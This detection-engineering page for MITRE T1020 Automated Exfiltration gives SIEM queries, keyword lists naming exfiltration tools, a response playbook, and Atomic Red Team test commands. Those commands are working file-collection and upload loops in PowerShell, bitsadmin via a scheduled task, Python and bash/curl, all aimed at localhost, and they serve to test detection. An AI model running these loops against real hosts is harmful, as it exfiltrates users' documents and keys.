Automated Exfiltration
Adversaries may exfiltrate data through the use of automated processing after being gathered during collection. Automated exfiltration commonly involves scripted or programmatic transfer of collected files to attacker-controlled infrastructure on a schedule or triggered basis. This technique is frequently combined with T1041 (Exfiltration Over C2 Channel) or T1048 (Exfiltration Over Alternative Protocol) to move data out of the network. Real-world examples include StrongPity automatically uploading collected documents, Rover scanning local drives on a 60-minute cycle, Raccoon Stealer acting on received configuration files, and Ke3chang performing frequent scheduled exfiltration from compromised networks.
What is T1020 Automated Exfiltration?
Automated Exfiltration (T1020) maps to the Exfiltration tactic — the adversary is trying to steal data in MITRE ATT&CK.
This page provides production-ready detection logic for Automated Exfiltration, covering the data sources and telemetry it touches: Process: Process Creation, Command: Command Execution, Network Traffic: Network Connection Creation, Microsoft Defender for Endpoint. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Exfiltration
- Technique
- T1020 Automated Exfiltration
- Canonical reference
- https://attack.mitre.org/techniques/T1020/
// Branch 1: Scripting engines performing bulk file enumeration followed by network activity
let ExfilProcesses = dynamic(["powershell.exe", "pwsh.exe", "python.exe", "python3.exe", "wscript.exe", "cscript.exe", "cmd.exe"]);
let TransferTools = dynamic(["curl.exe", "wget.exe", "certutil.exe", "bitsadmin.exe", "ftp.exe", "sftp.exe", "scp.exe", "robocopy.exe"]);
let ArchiveTools = dynamic(["7z.exe", "7za.exe", "winrar.exe", "rar.exe", "zip.exe", "tar.exe"]);
let SensitivePaths = dynamic(["\\Documents\\", "\\Desktop\\", "\\Downloads\\", "\\AppData\\", "\\Users\\", "\\ProgramData\\", "\\temp\\", "\\tmp\\"]);
// Detect scripting engines with exfil-relevant command patterns
DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName in~ (ExfilProcesses)
| where ProcessCommandLine has_any ([
// PowerShell upload/transfer patterns
"UploadFile", "UploadData", "UploadString",
"Invoke-WebRequest", "Invoke-RestMethod",
"Net.WebClient", "Net.FtpWebRequest",
"Start-BitsTransfer",
// Recursive file collection patterns
"Get-ChildItem", "gci ", "ls -r", "dir /s",
"Get-Content", "[IO.File]::",
// Archive creation
"Compress-Archive", "-CompressionLevel",
// Curl/wget in scripts
"curl ", "wget ",
// FTP commands in scripts
"ftp -", "sftp "
])
| extend HasUpload = ProcessCommandLine has_any (["UploadFile", "UploadData", "UploadString", "Start-BitsTransfer", "Net.FtpWebRequest"])
| extend HasCollection = ProcessCommandLine has_any (["Get-ChildItem", "gci ", "dir /s", "Get-Content", "[IO.File]::", "Compress-Archive"])
| extend HasTransferTool = ProcessCommandLine has_any (["curl ", "wget ", "ftp -", "sftp "])
| extend SensitivePath = ProcessCommandLine has_any (SensitivePaths)
| where HasUpload or (HasCollection and HasTransferTool) or (HasCollection and SensitivePath)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine,
HasUpload, HasCollection, HasTransferTool, SensitivePath
| sort by Timestamp desc
| union (
// Branch 2: Known transfer tools spawned shortly after archive creation or file collection
DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName in~ (TransferTools)
| where ProcessCommandLine has_any ([
// Upload/POST indicators
"-T ", "--upload-file", "-d @", "--data-binary @",
"PUT ", "POST ",
"ftp://", "sftp://", "ftps://",
// Certutil exfil
"-urlcache", "-encode", "-decode",
// BitsAdmin upload
"/transfer", "/upload",
// SCP/SFTP file push
"scp ", "-r "
])
| extend IsExternalDest = ProcessCommandLine matches regex @"(ftp|sftp|ftps|http|https)://(?!10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.|127\.)"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine, IsExternalDest
| sort by Timestamp desc
)
| union (
// Branch 3: Archive tools creating archives in temp/staging paths — common exfil prep
DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName in~ (ArchiveTools)
| where ProcessCommandLine has_any (SensitivePaths)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| join kind=inner (
DeviceNetworkEvents
| where Timestamp > ago(24h)
| where RemoteIPType == "Public"
| project NetTimestamp=Timestamp, DeviceName, RemoteIP, RemotePort, InitiatingProcessFileName
) on DeviceName
| where NetTimestamp between (Timestamp .. (Timestamp + 5m))
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, RemoteIP, RemotePort
| sort by Timestamp desc
) Detects automated exfiltration patterns across three branches: (1) scripting engines (PowerShell, Python, cmd) executing file collection combined with upload or transfer functions, (2) known file transfer tools (curl, certutil, bitsadmin, ftp) used with upload/PUT/POST flags targeting external destinations, and (3) archive tools (7-Zip, WinRAR, tar) compressing sensitive paths followed within 5 minutes by outbound network connections to public IPs. Uses real MDE/Defender table names: DeviceProcessEvents and DeviceNetworkEvents.
Data Sources
Required Tables
False Positives
- Backup software agents (Veeam, Acronis, Windows Server Backup) running scheduled backup jobs that compress and transfer files to remote storage
- Cloud sync clients (OneDrive sync engine, Dropbox, Google Drive File Stream) automatically uploading files in monitored user directories
- Log and telemetry collection agents (Splunk Universal Forwarder, Filebeat, NXLog) that regularly collect and ship log files to SIEM infrastructure
- IT automation tools (Ansible, SCCM) that push collected inventory or configuration data back to management servers via scripted transfer
- Developer CI/CD pipelines that use curl or similar tools to upload build artifacts or test results to artifact repositories
Sigma rule & cross-platform mapping
The detection logic for Automated Exfiltration (T1020) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for T1020
References (8)
- https://attack.mitre.org/techniques/T1020/
- https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/
- https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html
- https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf
- https://www.welivesecurity.com/2019/05/07/turla-lightneuron-email-too-far/
- https://attack.mitre.org/software/S0409/
- https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1020/T1020.md
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1PowerShell Automated File Upload via Net.WebClient
Expected signal: Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'Get-ChildItem', '-Recurse', 'Net.WebClient', 'UploadFile'. Sysmon Event ID 3: Network Connection attempts to 127.0.0.1:8443. PowerShell ScriptBlock Log Event ID 4104 with full script including file collection loop.
- Test 2Scheduled Automated Exfiltration via BitsAdmin Upload
Expected signal: Windows Security Event ID 4698 (A scheduled task was created) with task name 'WindowsTelemetryCollect' and action 'bitsadmin /transfer exfil /upload'. Sysmon Event ID 1 for schtasks.exe process creation. Microsoft-Windows-TaskScheduler/Operational Event ID 106 (task registered). When task fires: Sysmon Event ID 1 for bitsadmin.exe with /upload flag in CommandLine.
- Test 3Python Script Recursive Collection and Staged Archive Upload
Expected signal: Sysmon Event ID 1: Process Create with Image=python.exe, CommandLine containing 'zipfile', 'os.walk', 'Documents', 'urllib.request', 'POST'. Sysmon Event ID 11: File Create for collect_df00tech.zip in %TEMP% directory. Sysmon Event ID 3: Network Connection attempt to 127.0.0.1:8080. DeviceFileEvents (MDE) will show the archive creation.
- Test 4Curl-Based Automated File Exfiltration Loop (Linux/macOS)
Expected signal: Linux auditd: execve syscall events for bash and curl with full argument arrays. Syslog: process execution records. If Sysmon for Linux deployed: Event ID 1 (Process Create) with CommandLine containing 'find', '-name', 'curl', '-X POST', '-F file=@'. Network: connection attempts from curl to 127.0.0.1:9090. File access events for each file POSTed.
Response Playbook
Triage
- Identify the initiating process and user context — is this a known service account for backup software, a cloud sync client, or an interactive user session? Cross-reference against your approved data transfer application inventory.
- Examine the full command line of the flagged process — decode any Base64 or obfuscated arguments. For PowerShell: [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('<value>')). For Python: base64.b64decode('<value>')
- Resolve the destination IP/hostname — use threat intelligence enrichment to determine if the destination is a known cloud provider (OneDrive, AWS S3, Dropbox) vs. an uncategorized VPS, bulletproof hosting provider, or domain registered within the last 30 days.
- Quantify the data volume — check DeviceNetworkEvents (KQL) or Sysmon EventCode=3 (SPL) for total bytes sent (SentBytes field in MDE) from the flagged process. Exfiltration of >10MB from a scripting engine to an external IP warrants immediate escalation.
- Review what files were collected — correlate DeviceFileEvents (Sysmon EventCode=11) for the flagged process in the 30 minutes preceding the network activity. Identify if sensitive file types were accessed: .docx, .xlsx, .pdf, .pst, .kdbx, .key, .pem, id_rsa.
- Determine if this is scheduled — check Scheduled Tasks (HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache), crontab entries (Linux), and persistence mechanisms. Automated exfiltration typically runs on a timer and will show regular intervals in event timestamps.
- Check for lateral movement indicators — did this same process or technique appear on other endpoints? Use the hunt queries to identify if the pattern is isolated to one host or represents campaign-wide activity.
Containment
- If active exfiltration confirmed to an external destination: immediately block the destination IP and domain at the perimeter firewall and DNS. Use your EDR to isolate the endpoint from the network while preserving the ability to remote-investigate.
- If the exfiltrating process is an implant or malware: terminate the process via EDR, quarantine any dropped files, and preserve a memory dump (procdump.exe -ma <PID>) before process termination for malware analysis.
- If a legitimate tool (certutil, curl, PowerShell) was abused: kill the process, audit all scheduled tasks and startup entries on the host for the automation mechanism, remove identified persistence locations.
- Disable or reset the compromised user account credentials immediately, including any API tokens, SSH keys, or service account passwords stored on the host that may have been collected and exfiltrated.
- If cloud storage destination identified (OneDrive, Google Drive, Dropbox, S3): coordinate with your cloud security team to revoke API tokens, audit the destination account for uploaded content, and initiate cloud provider incident response procedures for unauthorized data access.
- Preserve all evidence before remediation — image the disk (or snapshot the VM), export relevant event log channels (Security, System, Sysmon, PowerShell Operational), and capture network packet captures if available from NDR/IDS.
Evidence Collection
- Process execution logs — Sysmon Event ID 1 (Process Create) or Windows Security Event ID 4688 (with command line auditing enabled) showing the full command line of the exfiltrating process and its parent.
- Network connection logs — Sysmon Event ID 3 (Network Connect) or MDE DeviceNetworkEvents for all outbound connections made by the flagged process, including destination IP, port, protocol, and bytes transferred.
- File access logs — Sysmon Event ID 11 (File Create) and Event ID 23 (File Delete) for files staged or archived by the process. MDE DeviceFileEvents provides equivalent coverage.
- Scheduled Task artifacts — export C:\Windows\System32\Tasks\ directory contents and HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache registry hive. Linux: dump crontab, /etc/cron.d/, systemd timers.
- PowerShell ScriptBlock Logs — Event ID 4104 from Microsoft-Windows-PowerShell/Operational log channel, which captures the full deobfuscated script content used in automated collection and transfer.
- Prefetch files — C:\Windows\Prefetch\ for execution timestamps and loaded modules for the flagged executables (7z.exe, curl.exe, powershell.exe etc.).
- Network captures — if a network tap or NDR solution is deployed, capture full packet data for sessions to the destination IP. Even metadata (flow records) is valuable for quantifying data volume.
- Staging directory contents — if an archive or staging directory was identified, preserve its contents and hash all files before any remediation. This establishes what data was actually exfiltrated.
Escalation Criteria
- ! Destination IP or domain resolves to a bulletproof hosting provider, recently registered domain (< 30 days), or matches active threat intelligence indicators of compromise.
- ! Exfiltrated data volume exceeds 10MB to an external destination, or the pattern shows regular intervals (every N minutes/hours) consistent with an automated beacon-and-upload cycle.
- ! Sensitive file types confirmed in the collection set: password databases (.kdbx, .db), private keys (id_rsa, .pem, .pfx), email archives (.pst, .ost), or files with classification labels (Confidential, Secret, Internal Use).
- ! The exfiltrating process was spawned by a scheduled task, startup entry, or service that was not in the authorized application baseline — indicating persistence-backed automation.
- ! Multiple endpoints exhibit the same automated exfiltration pattern, suggesting a malware campaign or compromised deployment mechanism affecting multiple systems.
- ! The user account associated with the exfiltration is a service account, domain admin, or privileged account that would have access to sensitive organizational data across multiple systems.
Investigation Guide
Forensic Artifacts
- >
Scheduled Task XML files — C:\Windows\System32\Tasks\ and subdirectories. Each file is XML describing the trigger (schedule), action (command), and author. Malicious tasks often use System or SYSTEM principal. - >
Windows Task Scheduler event logs — Microsoft-Windows-TaskScheduler/Operational: Event ID 106 (task registered), 200 (action started), 201 (action completed). Provides execution timestamps for scheduled exfil. - >
Prefetch files — C:\Windows\Prefetch\ entries for transfer tools (CURL.EXE-*.pf, CERTUTIL.EXE-*.pf, 7Z.EXE-*.pf) with last run timestamps and run count. Available on workstations; disabled by default on servers. - >
Registry Run keys — HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run and HKLM equivalent. Malware may place automated exfil scripts here for persistence-triggered execution on logon. - >
Staging directories — %TEMP%, %APPDATA%\Local\Temp, C:\ProgramData\, or adversary-created hidden directories. Look for archive files (.zip, .7z, .rar, .tar.gz) with modification timestamps aligning to exfil windows. - >
PowerShell history — %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt captures commands typed in interactive sessions that may reveal the exfil mechanism. - >
Network flow records — NetFlow/IPFIX data from perimeter devices showing sustained outbound transfers (large byte counts, long duration flows) to external destinations from internal hosts. - >
Firewall and proxy logs — Zscaler, Palo Alto, Cisco logs showing HTTP/HTTPS POST requests with large Content-Length headers, or FTP STOR commands, from the compromised host.
Tuning Guidance
The highest source of false positives for T1020 detection is legitimate backup and sync software. Build an allowlist of approved backup agents by their process image path (e.g., C:\Program Files\Veeam\, C:\Program Files\CrashPlan\) and service accounts, then exclude these from Branch 1 and 2 detection. For cloud sync clients (OneDrive.exe, Dropbox.exe, googledrivesync.exe), exclude by FileName rather than path since they run from user profile directories. For the archive + network correlation query, raise the SentBytes threshold to filter out small telemetry uploads (start with 1MB minimum) and exclude known CDN IP ranges. In environments with heavy PowerShell automation, add a secondary filter requiring the destination to NOT match your corporate IP ranges and approved cloud provider CIDR blocks. Consider correlating with your CMDB: if a machine is in the 'backup server' or 'data movement' asset group, suppress differently than a standard workstation. Tune the ConnectionCount threshold in the beaconing hunt based on your environment's baseline — a developer machine may legitimately make many connections to the same external API, so consider requiring 10+ connections before alerting. Enable enhanced DNS logging (Sysmon Event ID 22) to capture domain lookups from scripting engines, which can identify DGA or suspicious destinations before connection metadata is available.
Hunting Queries
Hunt for scripting engines making 5 or more outbound connections to the same external IP. Regular intervals (low interval variance) indicate automated beaconing with data upload, a hallmark of malware families like Rover (60-minute cycle), StrongPity, and OutSteel. High ConnectionCount with low AvgIntervalMin is the strongest signal.
// Hunt: Hosts making repeated outbound connections to the same external IP from scripting engines — consistent with automated beaconing + upload
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("powershell.exe", "pwsh.exe", "python.exe", "python3.exe", "wscript.exe", "cscript.exe")
| where RemoteIPType == "Public"
| summarize
ConnectionCount=count(),
BytesSent=sum(SentBytes),
FirstSeen=min(Timestamp),
LastSeen=max(Timestamp),
IntervalVarianceMin=round(stdev(totimespan(Timestamp - prev(Timestamp))) / 1m, 2)
by DeviceName, InitiatingProcessFileName, RemoteIP, RemotePort
| where ConnectionCount >= 5
| extend DurationHours = round((LastSeen - FirstSeen) / 1h, 1)
| extend AvgIntervalMin = round(DurationHours * 60.0 / ConnectionCount, 1)
| sort by ConnectionCount desc index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
(Image="*\\powershell.exe" OR Image="*\\pwsh.exe" OR Image="*\\python.exe" OR Image="*\\python3.exe"
OR Image="*\\wscript.exe" OR Image="*\\cscript.exe")
NOT (DestinationIp="10.*" OR DestinationIp="192.168.*" OR DestinationIp="172.16.*" OR DestinationIp="127.*")
| stats count as ConnectionCount, earliest(_time) as FirstSeen, latest(_time) as LastSeen,
values(DestinationPort) as Ports
by host, Image, DestinationIp
| where ConnectionCount >= 5
| eval DurationMin=round((LastSeen - FirstSeen) / 60, 1)
| eval AvgIntervalMin=round(DurationMin / ConnectionCount, 1)
| sort - ConnectionCount Hunt for scheduled task execution (svchost.exe or taskeng.exe as parent) spawning transfer or collection tooling. Automated exfiltration malware and persistence mechanisms frequently register scheduled tasks to trigger collection-and-upload cycles. This query covers the task execution event, complementing Schedule Task creation auditing.
// Hunt: Scheduled tasks created recently that invoke transfer or collection tooling
DeviceProcessEvents
| where Timestamp > ago(14d)
| where InitiatingProcessFileName =~ "taskeng.exe" or InitiatingProcessParentFileName =~ "svchost.exe"
| where FileName in~ ("powershell.exe", "pwsh.exe", "cmd.exe", "curl.exe", "certutil.exe", "bitsadmin.exe", "python.exe", "wscript.exe", "cscript.exe")
| where ProcessCommandLine has_any ([
"UploadFile", "UploadData", "Net.WebClient", "Invoke-WebRequest",
"Start-BitsTransfer", "-T ", "--upload-file",
"Get-ChildItem", "-Recurse", "Compress-Archive",
"ftp://", "sftp://", "http"
])
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName
| sort by Timestamp desc index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
(ParentImage="*\\taskeng.exe" OR ParentImage="*\\svchost.exe")
(Image="*\\powershell.exe" OR Image="*\\pwsh.exe" OR Image="*\\cmd.exe" OR Image="*\\curl.exe"
OR Image="*\\certutil.exe" OR Image="*\\python.exe" OR Image="*\\wscript.exe")
| eval cmdl=lower(CommandLine)
| where match(cmdl,"(uploadfile|uploaddata|net\.webclient|invoke-webrequest|start-bitstransfer|--upload-file|-t\s|get-childitem|-recurse|compress-archive|ftp://|sftp://|http)")
| table _time, host, User, Image, CommandLine, ParentImage, ParentCommandLine
| sort - _time Hunt for archive files (.zip, .7z, .rar, .tar.gz) created in staging paths (Temp, AppData, ProgramData) followed within 10 minutes by outbound network connections to public IPs. This two-step pattern — compress then transmit — is characteristic of automated exfiltration tooling including RedCurl batch scripts, Machete, and LightNeuron. Complements process-level detection by focusing on file system artifacts.
// Hunt: Large archive files created in temp/staging paths followed by network transfer — data staging for exfil
DeviceFileEvents
| where Timestamp > ago(7d)
| where ActionType == "FileCreated"
| where FileName endswith ".zip" or FileName endswith ".7z" or FileName endswith ".rar" or FileName endswith ".tar" or FileName endswith ".gz"
| where FolderPath has_any (["\\Temp\\", "\\tmp\\", "\\AppData\\", "\\ProgramData\\", "\\Users\\Public\\"])
| extend ArchiveTime = Timestamp
| join kind=inner (
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIPType == "Public"
| where SentBytes > 102400 // > 100KB sent — filter out small noise
| project NetTime=Timestamp, DeviceName, RemoteIP, RemotePort, SentBytes, InitiatingProcessFileName
) on DeviceName
| where NetTime between (ArchiveTime .. (ArchiveTime + 10m))
| project ArchiveTime, DeviceName, FileName, FolderPath, InitiatingProcessAccountName,
NetTime, RemoteIP, RemotePort, SentBytes, InitiatingProcessFileName
| sort by SentBytes desc index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11
(TargetFilename="*.zip" OR TargetFilename="*.7z" OR TargetFilename="*.rar" OR TargetFilename="*.tar" OR TargetFilename="*.gz")
(TargetFilename="*\\temp\\*" OR TargetFilename="*\\tmp\\*" OR TargetFilename="*\\appdata\\*" OR TargetFilename="*\\programdata\\*")
| eval ArchiveTime=_time
| eval FileHost=host
| join type=inner host [
search index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
NOT (DestinationIp="10.*" OR DestinationIp="192.168.*" OR DestinationIp="172.16.*" OR DestinationIp="127.*")
| eval NetTime=_time
| table host, NetTime, DestinationIp, DestinationPort, Image
]
| where (NetTime - ArchiveTime) >= 0 AND (NetTime - ArchiveTime) <= 600
| table ArchiveTime, host, User, TargetFilename, Image, NetTime, DestinationIp, DestinationPort
| sort - ArchiveTime Atomic Red Team Tests
Simulates an automated exfiltration loop where PowerShell collects files matching a pattern from the Documents folder and uploads them to a remote server using Net.WebClient.UploadFile. This mirrors the behavior of StrongPity, Sidewinder, and similar implants that enumerate files and POST them to C2. The destination is localhost on a high port to keep the test contained — the process creation event fires regardless of whether a listener is present.
Command
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$files = Get-ChildItem -Path $env:USERPROFILE\Documents -Recurse -Include *.txt,*.docx,*.pdf -ErrorAction SilentlyContinue | Select-Object -First 3; foreach ($f in $files) { $wc = New-Object Net.WebClient; try { $wc.UploadFile('http://127.0.0.1:8443/upload', $f.FullName) } catch {} }; Write-Output 'Test complete'" Expected Telemetry
Sysmon Event ID 1: Process Create with Image=powershell.exe, CommandLine containing 'Get-ChildItem', '-Recurse', 'Net.WebClient', 'UploadFile'. Sysmon Event ID 3: Network Connection attempts to 127.0.0.1:8443. PowerShell ScriptBlock Log Event ID 4104 with full script including file collection loop.
Expected Detection
Branch 1 KQL fires: HasCollection=true (Get-ChildItem + -Recurse), HasUpload=true (Net.WebClient + UploadFile), SensitivePath=true (Documents). SPL ExfilScore >= 3. Both alert tiers fire simultaneously.
Creates a Windows Scheduled Task that runs every 5 minutes and uses BitsAdmin to upload a collected file to an external URL — simulating the persistence-backed automated exfiltration cycle used by Rover (60-minute interval), Ke3chang, and similar APT tooling. BitsAdmin /Transfer with /upload flag is a legitimate LOLBin for exfiltration. The task is immediately deleted after creation to limit dwell time on the test host.
Command
schtasks /create /tn "WindowsTelemetryCollect" /tr "cmd.exe /c bitsadmin /transfer exfil /upload http://127.0.0.1:9090/data %USERPROFILE%\Documents\test.txt" /sc minute /mo 5 /ru SYSTEM /f && schtasks /query /tn "WindowsTelemetryCollect" && timeout /t 3 && schtasks /delete /tn "WindowsTelemetryCollect" /f Cleanup
schtasks /delete /tn "WindowsTelemetryCollect" /f 2>nul Expected Telemetry
Windows Security Event ID 4698 (A scheduled task was created) with task name 'WindowsTelemetryCollect' and action 'bitsadmin /transfer exfil /upload'. Sysmon Event ID 1 for schtasks.exe process creation. Microsoft-Windows-TaskScheduler/Operational Event ID 106 (task registered). When task fires: Sysmon Event ID 1 for bitsadmin.exe with /upload flag in CommandLine.
Expected Detection
Branch 2 SPL/KQL fires when BitsAdmin executes: /transfer and /upload flags detected. Scheduled task hunt query identifies svchost.exe spawning bitsadmin.exe with upload arguments. Task Scheduler Event ID 106 ingestion would show suspicious task name.
Uses Python to recursively collect text files from the user profile, compress them into a zip archive in the Temp directory, then attempt an HTTP POST upload using the requests module — simulating Python-based stealers and automated exfiltration frameworks like Empire and Doki. If the requests module is not available, the test falls back to urllib. The upload target is localhost to prevent actual exfiltration.
Command
python.exe -c "import os, zipfile, urllib.request, tempfile; tmpdir=tempfile.gettempdir(); arcpath=os.path.join(tmpdir,'collect_df00tech.zip'); zf=zipfile.ZipFile(arcpath,'w',zipfile.ZIP_DEFLATED); [zf.write(os.path.join(r,f), os.path.relpath(os.path.join(r,f),os.path.expanduser('~'))) for r,d,files in os.walk(os.path.expanduser('~/Documents')) for f in files if f.endswith('.txt')][:5]; zf.close(); print('Archive: '+arcpath); req=urllib.request.Request('http://127.0.0.1:8080/upload',data=open(arcpath,'rb').read(),method='POST'); [urllib.request.urlopen(req) if False else None]; print('Done')" Cleanup
python.exe -c "import os, tempfile; f=os.path.join(tempfile.gettempdir(),'collect_df00tech.zip'); os.remove(f) if os.path.exists(f) else None" Expected Telemetry
Sysmon Event ID 1: Process Create with Image=python.exe, CommandLine containing 'zipfile', 'os.walk', 'Documents', 'urllib.request', 'POST'. Sysmon Event ID 11: File Create for collect_df00tech.zip in %TEMP% directory. Sysmon Event ID 3: Network Connection attempt to 127.0.0.1:8080. DeviceFileEvents (MDE) will show the archive creation.
Expected Detection
Branch 3 KQL/SPL archive + network correlation: archive .zip created in Temp directory followed by network attempt. Branch 1 KQL also fires as python.exe with collection + upload patterns. SPL ExfilScore >= 2.
Simulates automated exfiltration on Linux/macOS using a shell script that finds files in the home directory matching common sensitive extensions and POSTs each one via curl to a remote URL — mimicking the behavior of Ebury, Machete, and Peppy malware that automatically exfiltrate collected files. The destination is localhost on a high port. This test also demonstrates the file type filtering pattern used by tools like Rover.
Command
bash -c 'for f in $(find $HOME -maxdepth 3 -name "*.txt" -o -name "*.key" -o -name "*.conf" 2>/dev/null | head -5); do curl -s -X POST -F "file=@$f" http://127.0.0.1:9090/upload --connect-timeout 2 || true; done; echo "Exfil loop complete"' Expected Telemetry
Linux auditd: execve syscall events for bash and curl with full argument arrays. Syslog: process execution records. If Sysmon for Linux deployed: Event ID 1 (Process Create) with CommandLine containing 'find', '-name', 'curl', '-X POST', '-F file=@'. Network: connection attempts from curl to 127.0.0.1:9090. File access events for each file POSTed.
Expected Detection
SPL query against linux_secure or auditd sourcetype detects curl with -X POST and -F file=@ patterns. In MDE Linux deployment: DeviceProcessEvents fires for bash and curl with upload arguments. The find + curl loop pattern is a strong exfil indicator on Linux endpoints.
Related Detections
Tactic Hub
Detection Variants (1)
Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.